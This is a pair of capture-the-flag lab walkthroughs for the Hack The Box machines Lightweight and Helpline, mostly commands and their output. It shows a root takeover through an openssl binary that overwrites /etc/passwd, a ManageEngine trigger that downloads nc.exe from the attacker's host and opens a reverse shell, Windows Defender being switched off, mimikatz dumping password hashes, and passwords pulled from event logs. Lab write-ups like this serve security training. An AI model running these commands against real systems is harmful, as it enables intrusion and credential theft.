Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Files: 5
Size: 10270
Compressed: 3411
root@kali:~/htb/lightweight# ls
backup.7z backup.7z.b64 index.php info.php reset.php status.php user.php

The status.php file reveals the password of ldapuser1 as shown below.

root@kali:~/htb/lightweight# cat status.php | grep user
$username = 'ldapuser1';
//$ldapconfig['usersdn'] = 'cn=users';
$dn="uid=ldapuser1,ou=People,dc=lightweight,dc=htb";
<p><br><br><a href="index.php">home</a>&nbsp;&nbsp;<a href="info.php">info</a>&nbsp;&nbsp;<a href="status.php">status</a>&nbsp;&nbsp;<a href="user.php">user</a></p>
root@kali:~/htb/lightweight# cat status.php | grep password
$password = 'f3ca9d298a553da117442deeb6fa932d';
if ($bind=ldap_bind($ds, $dn, $password)) {

Thus, we switched to ldapuser1 and navigate inside the directory of ldapuser1

[ldapuser2@lightweight ~]$ su ldapuser1
Password: f3ca9d298a553da117442deeb6fa932d
[ldapuser1@lightweight ldapuser2]$ pwd
/home/ldapuser2
[ldapuser1@lightweight /]$ cd /home/ldapuser1
[ldapuser1@lightweight ~]$ ls -la
total 1496
drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 .
drwxr-xr-x. 6 root root 76 Sep 6 07:57 ..
-rw-------. 1 ldapuser1 ldapuser1 0 Jun 21 2018 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1 246 Jun 15 2018 .bashrc
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .cache
-rw-rw-r--. 1 ldapuser1 ldapuser1 9714 Jun 15 2018 capture.pcap
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .config
-rw-rw-r--. 1 ldapuser1 ldapuser1 646 Jun 15 2018 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13 2018 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13 2018 tcpdump
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep
[ldapuser1@lightweight ~]$ ./openssl base64 -a -in /root/root.txt | base64 -d
f1d4e309c5a6b3fffff74a8f4b2135fa

This time once again I checked for file capacity where I saw OpenSSL has all privileges to read a file that owned root user and therefore we decided to grab root.txt directly through OpenSSL.

We can also get a root shell by overwriting /etc/passwd . I got a copy of the original passwd file first : ./openssl enc -base64 -in /etc/passwd -out ./passwd.b64

[ldapuser1@lightweight ~]$ base64 -d passwd.b64 > passwd
[ldapuser1@lightweight ~]$ echo "toor1:aaKNIEDOaueR6:0:0:toor:/root:/bin/bash" >> passwd
[ldapuser1@lightweight ~]$ cat passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
--snip--
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser1:x:1000:1000::/home/ldapuser1:/bin/bash
ldapuser2:x:1001:1001::/home/ldapuser2:/bin/bash
10.10.14.2:x:1002:1002::/home/10.10.14.2:/bin/bash
10.10.14.7:x:1003:1003::/home/10.10.14.7:/bin/bash
toor1:aaKNIEDOaueR6:0:0:toor:/root:/bin/bash
[ldapuser1@lightweight ~]$ ./openssl enc -in passwd -out /etc/passwd
[ldapuser1@lightweight ~]$ su toor1
Password: foo
[root@lightweight ldapuser1]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

credits to : https://www.hackingarticles.in/lightweight-hack-the-box-walkthrough/

Author: Jacco Straathof

HTB – Helpline

The first shell I got on this box was as nt authority/system which means that I technically rooted the box. But the flags were EFS encrypted so I had to find a way to read them. It’s a Windows box and its ip is 10.10.10.152, I added it to /etc/hosts as helpline.htb.


Nmap

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/helpline# nmap -sV -sT -sC 10.10.10.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-05 09:28 EDT
Nmap scan report for 10.10.10.132
Host is up (0.046s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
8080/tcp open http-proxy -
| fingerprint-strings: 
| GetRequest: 
| HTTP/1.1 200 OK
| Set-Cookie: JSESSIONID=606C1FDF44C79201E2AB5302D51C6154; Path=/; HttpOnly
| Cache-Control: private
| Expires: Thu, 01 Jan 1970 01:00:00 GMT
| Content-Type: text/html;charset=UTF-8
| Vary: Accept-Encoding
| Date: Thu, 05 Sep 2019 13:27:56 GMT
| Connection: close
| Server: -
| <!DOCTYPE html>
| <html>
| <head>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <script language='JavaScript' type="text/javascript" src='/scripts/Login.js?9309'></script>
| <script language='JavaScript' type="text/javascript" src='/scripts/jquery-1.8.3.min.js'></script>
| <link href="/style/loginstyle.css?9309" type="text/css" rel="stylesheet"/>
| <link href="/style/new-classes.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/new-classes-sdp.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/conflict-fix.css?9309" type="text/css" rel="stylesheet">
| HTTPOptions: 
| HTTP/1.1 200 OK
| Set-Cookie: JSESSIONID=8606E78ACB1C1EB0C51362E6078F4108; Path=/; HttpOnly
| Cache-Control: private
| Expires: Thu, 01 Jan 1970 01:00:00 GMT
| Content-Type: text/html;charset=UTF-8
| Vary: Accept-Encoding
| Date: Thu, 05 Sep 2019 13:27:58 GMT
| Connection: close
| Server: -
| <!DOCTYPE html>
| <html>
| <head>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <script language='JavaScript' type="text/javascript" src='/scripts/Login.js?9309'></script>
| <script language='JavaScript' type="text/javascript" src='/scripts/jquery-1.8.3.min.js'></script>
| <link href="/style/loginstyle.css?9309" type="text/css" rel="stylesheet"/>
| <link href="/style/new-classes.css?9309" type="text/css" rel="stylesheet">
| <link href="/style/new-classes-sdp.css?9309" type="text/css" rel="stylesheet">
|_ <link href="/style/conflict-fix.css?9309" type="text/css" rel="stylesheet">
|_http-server-header: -
|_http-title: ManageEngine ServiceDesk Plus
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=9/5%Time=5D710D84%P=x86_64-pc-linux-gnu%r(Get
SF:Request,25D6,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSESSIONID=606C1
SF:FDF44C79201E2AB5302D51C6154;\x20Path=/;\x20HttpOnly\r\nCache-Control:\x
SF:20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00:00\x20GMT\r
SF:\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Accept-Encoding\
SF:r\nDate:\x20Thu,\x2005\x20Sep\x202019\x2013:27:56\x20GMT\r\nConnection:
SF:\x20close\r\nServer:\x20-\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n<m
SF:eta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\n\n\n\r
SF:\n\n\x20\x20\x20\x20<script\x20language='JavaScript'\x20type=\"text/jav
SF:ascript\"\x20src='/scripts/Login\.js\?9309'></script>\n\x20\x20\x20\x20
SF:<script\x20language='JavaScript'\x20type=\"text/javascript\"\x20src='/s
SF:cripts/jquery-1\.8\.3\.min\.js'></script>\n\x20\x20\x20\x20\n\x20\x20\x
SF:20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20type=\"text/css
SF:\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\"/style/new-
SF:classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\
SF:x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?9309\"\x20type=
SF:\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\x20href=\"/s
SF:tyle/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=\"stylesheet
SF:\">")%r(HTTPOptions,1534,"HTTP/1\.1\x20200\x20OK\r\nSet-Cookie:\x20JSES
SF:SIONID=8606E78ACB1C1EB0C51362E6078F4108;\x20Path=/;\x20HttpOnly\r\nCach
SF:e-Control:\x20private\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2001:00
SF::00\x20GMT\r\nContent-Type:\x20text/html;charset=UTF-8\r\nVary:\x20Acce
SF:pt-Encoding\r\nDate:\x20Thu,\x2005\x20Sep\x202019\x2013:27:58\x20GMT\r\
SF:nConnection:\x20close\r\nServer:\x20-\r\n\r\n<!DOCTYPE\x20html>\n<html>
SF:\n<head>\n<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\
SF:">\n\n\n\n\r\n\n\x20\x20\x20\x20<script\x20language='JavaScript'\x20typ
SF:e=\"text/javascript\"\x20src='/scripts/Login\.js\?9309'></script>\n\x20
SF:\x20\x20\x20<script\x20language='JavaScript'\x20type=\"text/javascript\
SF:"\x20src='/scripts/jquery-1\.8\.3\.min\.js'></script>\n\x20\x20\x20\x20
SF:\n\x20\x20\x20\x20<link\x20href=\"/style/loginstyle\.css\?9309\"\x20typ
SF:e=\"text/css\"\x20rel=\"stylesheet\"/>\n\x20\x20\x20\x20<link\x20href=\
SF:"/style/new-classes\.css\?9309\"\x20type=\"text/css\"\x20rel=\"styleshe
SF:et\">\n\x20\x20\x20\x20<link\x20href=\"/style/new-classes-sdp\.css\?930
SF:9\"\x20type=\"text/css\"\x20rel=\"stylesheet\">\n\x20\x20\x20\x20<link\
SF:x20href=\"/style/conflict-fix\.css\?9309\"\x20type=\"text/css\"\x20rel=
SF:\"stylesheet\">");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -39s
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2019-09-05T13:29:35
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.49 seconds

We got http on port 8080 and smb. I tried to list smb shares but I couldn’t authenticate anonymously :

root@kali:~/Desktop/HTB/boxes/helpline# smbclient --list //helpline.htb/ -U ""
Enter WORKGROUP\'s password: 
session setup failed: NT_STATUS_LOGON_FAILURE

HTTP Initial Enumeration, Administrative Access

On the http port there was an application called ManageEngine ServiceDesk Plus
I tried some common credentials like admin:admin and guest:guest which actually worked : 


But as guest my capabilities were limited so I had to elevate to an administrative user.

I used the published exploit that does the same thing automatically  as  user enumeration vulnerability .

i used below (learned from ippsec) to allow curl to go trough burp

root@kali:~/htb/helpline# cat ~/.curlrc 
proxy = http://127.0.0.1:8080


next hit F5 refresh in Browser ( after replacing the 2 cookies  JSESSIONID and JSESSIONSSO ), and the admin tab is displayed !


RCE

I checked the Admin section and Custom Triggers under Helpdesk Customizer caught my attention. 


Description says : “You can define rules to automatically invoke any custom class or script file. The action rules can be applied to a request when it is created, (or received) or edited or both”
I ran a python http server to host nc.exe then I created a trigger that executes :

powershell -command Invoke-WebRequest http://10.10.14.7/nc.exe -OutFile C:\Windows\System32\spool\drivers\color\nc.exe

When a request is created (it must has the word test in the subject). 


Last thing to do is to create a request that runs the trigger : 

root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.132 - - [05/Sep/2019 09:40:51] "GET /nc.exe HTTP/1.1" 200 -

I edited the trigger and made it execute :

C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.7 9001

Then I created another request and got a reverse shell as nt authority\system :

root@kali:~/htb# nc -lvp 9001
listening on [any] 9001 ...
10.10.10.132: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.132] 49743
Microsoft Windows [Version 10.0.17763.253]
(c) 2018 Microsoft Corporation. All rights reserved.

E:\ManageEngine\ServiceDesk\integration\custom_scripts>whoami
whoami
nt authority\system

E:\ManageEngine\ServiceDesk\integration\custom_scripts>

Encrypted Flags

Although I was system I couldn’t read the flags :

E:\ManageEngine\ServiceDesk\integration\custom_scripts>c:                         
c:              
C:\>cd Users                  
cd Users 
C:\Users>cd Administrator           
cd Administrator
C:\Users\Administrator>cd Desktop                 
cd Desktop
C:\Users\Administrator\Desktop>type root.txt                           
type root.txt
Access is denied.
C:\Users>cd tolu
cd tolu

C:\Users\tolu>cd Desktop
cd Desktop

C:\Users\tolu\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D258-5C3B

 Directory of C:\Users\tolu\Desktop

12/29/2018  10:21 PM    <DIR>          .
12/29/2018  10:21 PM    <DIR>          ..
12/21/2018  12:12 AM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)   5,851,750,400 bytes free

C:\Users\tolu\Desktop>type user.txt
type user.txt
Access is denied.

That’s because the flags are EFS encrypted :

C:\Users\Administrator\Desktop>cipher /c root.txt
cipher /c root.txt

 Listing C:\Users\Administrator\Desktop\
 New files added to this directory will not be encrypted.

E root.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    HELPLINE\Administrator [Administrator(Administrator@HELPLINE)]
    Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3

  No recovery certificate found.

  Key information cannot be retrieved.

The specified file could not be decrypted.


C:\Users\Administrator\Desktop>cipher /c ../../tolu/Desktop/user.txt
cipher /c ../../tolu/Desktop/user.txt

 Listing C:\Users\tolu\Desktop\
 New files added to this directory will not be encrypted.

E user.txt
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    HELPLINE\tolu [tolu(tolu@HELPLINE)]
    Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29 

  No recovery certificate found.

  Key information cannot be retrieved.

The specified file could not be decrypted.


C:\Users\Administrator\Desktop>

To decrypt them we need Administrator’s password for root.txt and tolu’s password for user.txt. First time I solved this box I got the root flag first as it was easier but for the write-up I’ll do user flag first.


user.txt

Since we need passwords, first thing I did was to put mimikatz on the box and dump the password hashes.
But before that I had to disable :

PS C:\Users\Administrator\Desktop> Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\Users\Administrator\Desktop> 
PS C:\windows\system32\spool\drivers\color> Invoke-WebRequest http://10.10.xx.xx/mimikatz.exe -OutFile mimikatz.exe
Invoke-WebRequest http://10.10.xx.xx/mimikatz.exe -OutFile mimikatz.exe
PS C:\windows\system32\spool\drivers\color> dir
dir


    Directory: C:\windows\system32\spool\drivers\color
    
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/15/2018   8:12 AM           1058 D50.camp
-a----        9/15/2018   8:12 AM           1079 D65.camp
-a----        9/15/2018   8:12 AM            797 Graphics.gmmp
-a----        9/15/2018   8:12 AM            838 MediaSim.gmmp
-a----        8/16/2019   1:24 PM        1006744 mimikatz.exe
-a----        8/16/2019   1:47 PM          38616 nc.exe
-a----        9/15/2018   8:12 AM            786 Photo.gmmp
-a----        9/15/2018   8:12 AM            822 Proofing.gmmp
-a----        9/15/2018   8:12 AM         218103 RSWOP.icm
-a----        9/15/2018   8:12 AM           3144 sRGB Color Space Profile.icm
-a----        9/15/2018   8:12 AM          17155 wscRGB.cdmp
-a----        9/15/2018   8:12 AM           1578 wsRGB.cdmp

PS C:\windows\system32\spool\drivers\color> 
mimikatz # lsadump::sam
Domain : HELPLINE
SysKey : f684313986dcdab719c2950661809893
Local SID : S-1-5-21-3107372852-1132949149-763516304

SAMKey : 9db624e549009762ee47528b9aa6ed34

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: d5312b245d641b3fae0d07493a022622

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 52a344a6229f7bfa074d3052023f0b41

RID  : 000003e8 (1000)
User : alice
  Hash NTLM: 998a9de69e883618e987080249d20253

RID  : 000003ef (1007)
User : zachary
  Hash NTLM: eef285f4c800bcd1ae1e84c371eeb282

RID  : 000003f1 (1009)
User : leo
  Hash NTLM: 60b05a66232e2eb067b973c889b615dd

RID  : 000003f2 (1010)
User : niels
  Hash NTLM: 35a9de42e66dcdd5d512a796d03aef50

RID  : 000003f3 (1011)
User : tolu
  Hash NTLM: 03e2ec7aa7e82e479be07ecd34f1603b

The only crackable hash was zachary’s : 
But what can we do with zachary ?

PS C:\windows\system32\spool\drivers\color> net users zachary
net users zachary
User name                    zachary
Full Name                    zachary
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/21/2018 10:25:34 PM
Password expires             Never
Password changeable          12/21/2018 10:25:34 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   8/16/2019 1:37:32 PM

Logon hours allowed          All

Local Group Memberships      *Event Log Readers    *Users
Global Group memberships     *None
The command completed successfully.

zachary is a member of a local group called Event Log Readers, maybe there is something in the event log, I queried the event log with wevtutil and saved the output in a file :

C:\Windows\System32\spool\drivers\color>wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt                                                                        
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt

C:\Windows\System32\spool\drivers\color>

The output was a very long one so I searched for interesting stuff like usernames, by searching for tolu I got this net use command which had tolu's password :

C:\Windows\System32\spool\drivers\color>type eventlog.txt | findstr tolu                                                                   
type eventlog.txt | findstr tolu                                                                                                           
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                                       
        Account Name:           tolu                                                                                   
        Account Name:           tolu                                                                                   
        Account Name:           tolu                                                                                   
        Account Name:           tolu
    ----------------
     Removed Output
    ----------------
Process Command Line:   "C:\Windows\system32\systeminfo.exe" /S \\helpline /U /USER:tolu /P !zaq1234567890pl!99                                                                                           
        Account Name:           tolu
Logon Account:  tolu
        Account Name:           tolu
        Process Command Line:   "C:\Windows\system32\net.exe" use T: \\helpline\helpdesk_stats /USER:tolu !zaq1234567890pl!99                                                                                     
        Account Name:           tolu
        Account Name:           tolu

tolu : !zaq1234567890pl!99
tolu is in the Remote Management Users local group :

C:\Windows\System32\spool\drivers\color>net users tolu
net users tolu
User name                    tolu
Full Name                    tolu
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/28/2018 10:52:52 PM
Password expires             Never
Password changeable          12/28/2018 10:52:52 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   12/29/2018 10:20:44 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users                
Global Group memberships     *None                 
The command completed successfully.

And winrm’s port is open : 
So I thought of authenticating as tolu to read the flag (I used evilwinrm)

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i helpline -u tolu -p '!zaq1234567890pl!99' -s './ps1_scripts/' -e './exe_files/'

Info: Starting Evil-WinRM shell v1.6

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tolu\documents> cd ..
*Evil-WinRM* PS C:\Users\tolu> cd Desktop
*Evil-WinRM* PS C:\Users\tolu\Desktop> dir

Directory: C:\Users\tolu\Desktop

Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-a---- 12/20/2018 11:12 PM 32 user.txt

*Evil-WinRM* PS C:\Users\tolu\Desktop> type user.txt
Access to the path 'C:\Users\tolu\Desktop\user.txt' is denied.
At line:1 char:1
+ type user.txt
+ ~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\tolu\Desktop\user.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\tolu\Desktop>

But I still couldn’t read the flag …

I found this guide to decrypt EFS files with mimikatz, by following it I was able to decrypt the user flag.
We need to get the certificate and decrypt the master/private keys (details in the guide mentioned above) :

mimikatz # crypto::system /file:"C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A6692F29" /export                                                                               
* File: 'C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A6692F29'                                                                                      
[0045/1] BACKED_UP_PROP_ID                                                                     00                                                                                         [0002/1] KEY_PROV_INFO_PROP_ID                                                                 Provider info:                                                                                     Key Container  : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d                                       Provider       : Microsoft Enhanced Cryptographic Provider v1.0                             Provider type  : RSA_FULL (1)                                                               Type           : AT_KEYEXCHANGE (0x00000001)                                                 Flags          : 00000000                                                                   Param (todo)   : 00000000 / 00000000                                                 [0003/1] SHA1_HASH_PROP_ID
  91ef5d08d1f7c60aa0e4cee73e050639a6692f29
[0020/1] cert_file_element
  Data:
308202f9308201e1a0030201020210560e4d2b13840a9f4ef8246c32c1950f300d06092a864886f70d0101050500300f310d300b06035504031304746f6c753020170d3138313232393231323133335a180f32313138313230353231323133335a300f310d3
00b06035504031304746f6c7530820122300d06092a864886f70d01010105000382010f003082010a0282010100b661bbc3191aed3031d754ceee0cef50462a746656b973a74bed822fa31d44b8eb9ce1f165ef9f9691863b18694d0d72ddbb4ed40bc91021ef9ec7dc
977242dbab9d9124e548d7f71bfa191de5d0fd1d23de24a10958c5821adb7b89b350e5c3da17cdffdf828659dd8732f55bc7bd4f7e7c167f3f054520c34a4b280dbe0e86faae45082eeed8422549a49134b398351563c62dab70cfa3bb66d9cf07e749f3c2bc9a554a8
b2bcda9559d3f42b7b1fed755c519f26243756363efd93cae3f71aa813af0757d231a43daae5b3dc4303b330833e2db7cad6af45ab9c2b756c2de5af4f250df1c58e35bdfb3ccbc6c3be0db973faf27314413375d7b1c40dbc3310203010001a34f304d30150603551d
25040e300c060a2b0601040182370a030430290603551d1104223020a01e060a2b060104018237140203a0100c0e746f6c754048454c504c494e450030090603551d1304023000300d06092a864886f70d010105050003820101001054e49d105efb13f699ec26dd8f2
828eff46966b8b3623dafb132b287e4a4c870261bb6bec2acf8a8a648aead2b8c9daeb366d6096889ea23cba08d71b78aa9c09e92218c6bbd5b17e67910c551f0f452963d730f5b90c6be10048c1234087bcd1cdcc0f17adae55452f7f0b495414f54de59ff39f513e8
1aae5c1aa6e54beb8561aa5795cb59dddbfe528b9020d1f4d1aab1842eafbc0c0d92c75aa42ab1dd278262676a2fd5a39b526544d37cf59c2647db5efb743c78fb744be0cf41b2512c7f42dbb2949cbe359aca36b17670247b49b12c27119f7d358ca38e70c3ccebd13
c5bccc7236ae09646af07077233b49a5615cb8be05b642e09de595c89dfb9
  Saved to file: 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der


mimikatz # dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"

**KEY (capi)**

  dwVersion          : 00000002 - 2
  dwUniqueNameLen    : 00000025 - 37
  dwSiPublicKeyLen   : 00000000 - 0
  dwSiPrivateKeyLen  : 00000000 - 0
  dwExPublicKeyLen   : 0000011c - 284
  dwExPrivateKeyLen  : 00000650 - 1616
  dwHashLen          : 00000014 - 20
  dwSiExportFlagLen  : 00000000 - 0
  dwExExportFlagLen  : 000000fc - 252
  pUniqueName        : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d
  pHash              : 0000000000000000000000000000000000000000
  pSiPublicKey       :
  pSiPrivateKey      :
  pSiExportFlag      :
  pExPublicKey       : 525341310801000000080000ff0000000100010031c3db401c7b5d3713443127af3f97dbe03b6cbcccb3df5be3581cdf50f2f45adec256b7c2b95af46aad7cdbe23308333b30c43d5baeda431a237d75f03a81aa713fae3cd9ef63637543
62f219c555d7feb1b7423f9d55a9cd2b8b4a559abcc2f349e707cfd966bba3cf70ab2dc663153598b33491a4492542d8ee2e0845aefa860ebe0d284b4ac32045053f7f167c7e4fbdc75bf53287dd598682dfffcd17dac3e550b3897bdb1a82c55809a124de231dfdd0e
51d19fa1bf7d748e524919dabdb427297dcc79eef2110c90bd44ebbdd720d4d69183b8691969fef65f1e19cebb8441da32f82ed4ba773b95666742a4650ef0ceece54d73130ed1a19c3bb61b60000000000000000                                         
  pExPrivateKey      :
  **BLOB**
    dwVersion          : 00000001 - 1
    guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    dwMasterKeyVersion : 00000001 - 1
    guidMasterKey      : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
    dwFlags            : 00000000 - 0 ()
    dwDescriptionLen   : 0000002c - 44
    szDescription      : CryptoAPI Private Key
    algCrypt           : 00006610 - 26128 (CALG_AES_256)
    dwAlgCryptLen      : 00000100 - 256
    dwSaltLen          : 00000020 - 32
    pbSalt             : d05086dc4a0e8c37b26b9298d6e507a07e6b01495c8e874636d6555909860bfc
    dwHmacKeyLen       : 00000000 - 0
    pbHmackKey         :
    algHash            : 0000800e - 32782 (CALG_SHA_512)
    dwAlgHashLen       : 00000200 - 512
    dwHmac2KeyLen      : 00000020 - 32
    pbHmack2Key        : b7a581f4205455a35c32cf2bae9d3be3fd90990ae6f63c417e9c5a06084d04f1
    dwDataLen          : 00000550 - 1360
    pbData             : 0dd1b5843b4e6da999ab982ff7bef727bd63f11eb222fd81420d24e0dc8a8c03910ddca26dba324e943a5357776530618f14c74382062047acb3f35debdb8f885a283c3644542dde4aa1175ac9d7a23e014bb92d85c2f51dd8eb6d0007
a2f4ca83df25b59f32794c2a4e227e526cd2d5f4a222ca9c14be15e62982107d91865a3e0fc04708144aa7fe7f7baf0c5a7b99c18f96e82c1f01dc8b41df64b51befd3a978a9d47a72246ceadfda631d09be350a4d3bf1301fba7e1b6c6e0c40bf95ce9e154f79cbef2
6d7a3c00d538e490132954d4ee94619dcdaf75e64676c89e89317d4668fe4b942a7bc21371efa3adf08152dabdf0d16e608cda6bdcca193771d736e19505e51f6e972ef5da070b0023e740dd96893d0458da1994f72aa3bc6846218e4634d4a199f698dcce5d2a96c68
8bb20d8138ac743fbff1a43934bbdcff40145ebc815edaf5080d63656236aba75261d7fe0b915e393912d8fe731bb4ab232f88553918c17d95f81605fb24bb9a7527e2eda01fc088e653ce99d58143a74595d47169cf58a2308e128e3956c0c4e225b1dfa0cd8cf0307
b670977c3b62b30bd09846e993779c4471cbd0682dc9bf038bfb8daf8286c0fd4fbcdcf135cb48dc38f0d34342a0116aef4211104657c20db578d9b21b2dbe2505bccc86a48b343f0f9df63482562f86f4015e6dc327a209684049188251506a8f39ae8946a9cdec43$
bb71e7d4fac63f33932dd0bd52fa5ffd48ff11c415e856a496252378fb19c456c3e191a19621c292654af48228906eac7ae5717a77a2c616e194ea9189e77cfa0252da0180fe128fa9f3a0cd826f7530dc03428e6ecbbc7ae7bffe0ce2780b3ba686c3d73f3da55af6$
65fec2c22cbb119a698c5bbbed802d3a31fb44e395606adb58e0b0e2030910281dbeeb76bddebf2ae6862633f839324cb72a9c05a7d24acc3cdad9648be0e816039581d4eb3ddefdc1457d3175b5c776ca445bd409038b6369fa9151f6ee88ab44e9d64b40ecd09e89$
7e2b36e51c44f93bc5a985c13cc0f8d31aad776167b027c28a09943580d848af506c68a400ed93734dbe579a84837a90c6fd60d338e9e981599086da725d7e6c87f89f9a59979672a8b74c704e848fc6cac786e49a3b7f310b2839d67652a9ae3018ce6aca06f6e60b$
bcf526f859a618b32b7b112088eefccf69e873e1d62a20b416203a2428d08abe22518eecfe0a5115a82efb21d467854444b15db49e82c4442aaa045fdf4ea725295da78d14082c9140b6ea6356039b48e53fb7eb8d3ea21713c346d6ff381aaf709c5e83e7d0c5e330$
f7374caccf6312f8f36afc041fcfd89a7e93d453393c991c3887d6b98179cc254172dfd4a09c968a25dab0b53df6f38c6b22e9352d0920789920659b1cb55c61f74bccb63fc397e0997f896e55efbaf200629dd399584f1675ebe588b025ee4160387aa3a5a3239899$
75a97eddbf5dc1dbf4defb894091c851f73413e2da6d7a39e23481dcda7857311a2816d720c0da057952e2d4218b2f4f735469cc4d15324de94b7036fb072afdb708929363934351feecc27c0c81206cafaa7bd5748456799cb528773cafc4b6f6fa25c6bc617b537ac
